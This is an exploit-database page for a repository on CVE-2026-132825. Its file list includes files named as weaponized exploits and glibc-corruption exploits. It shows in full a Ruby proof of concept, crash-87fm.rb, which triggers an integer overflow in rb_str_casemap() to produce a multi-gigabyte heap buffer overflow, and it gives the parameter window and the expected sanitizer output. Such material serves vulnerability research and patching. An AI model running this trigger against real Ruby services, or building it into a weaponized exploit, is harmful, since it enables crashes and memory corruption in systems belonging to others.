Exploit databaseDownload repository ZIP
GH-569428892e40f19da8b3d7e88f5232e5
evenomn/cve-2026-132825
Sources for CVE-2026-132825
2 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files9
evenomn/cve-2026-132825Revision a9c0535a0032
- ↑..Parent directory
- README.md
- README.zh-CN.md
- bigshot.c
- corrupt-glibc-132825.rb
- crash-132825.rb
- crash-87fm.rb
- safe-bitmap.rb
- tracer.c
- weaponize-87fm.rb
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
poc/crash-87fm.rb
Ruby · 1,138 bytes#!/usr/bin/env ruby
# frozen_string_literal: true
#
# crash-87fm.rb — GHSA-87fm-7w84-j2px
# Integer overflow in rb_str_casemap() → copy-loop heap buffer overflow of
# exactly 2^32 bytes.
#
# Requires an ASAN-instrumented Ruby and ~7 GB of RAM.
#
# Mechanism (README §3): a UTF-8 source of U+0390 (expansion ratio 3) of
# length L drives three case_map passes; the int accumulator wraps to
# t = 3L - 2^32 while the per-buffer copy still advances by the true size_t
# lengths, so rb_str_new(0, t) is followed by ~1.45 GB memcpys.
#
# Usage: ruby crash-87fm.rb [L]
# Expected (ASAN, L=1_450_000_000):
# WRITE of size 1450000014 (= capa1 = L + 20)
# "0 bytes to the right of 55032705-byte region" (= 3L - 2^32 + 1)
L = (ARGV[0] || 1_450_000_000).to_i
unless L >= 1_432_000_000 && L < 1_610_000_000
abort "L=#{L} outside valid window [1_432_000_000, 1_610_000_000): " \
"t = 3L - 2^32 must be a small non-negative int and each pass's " \
"used must stay below 2^31 (README §3.3)"
end
s = ("\xCE\x90".b * (L / 2)).force_encoding(Encoding::UTF_8)
r = s.upcase
puts "L=#{L} t=#{3 * L - 2**32} out=#{r.bytesize}"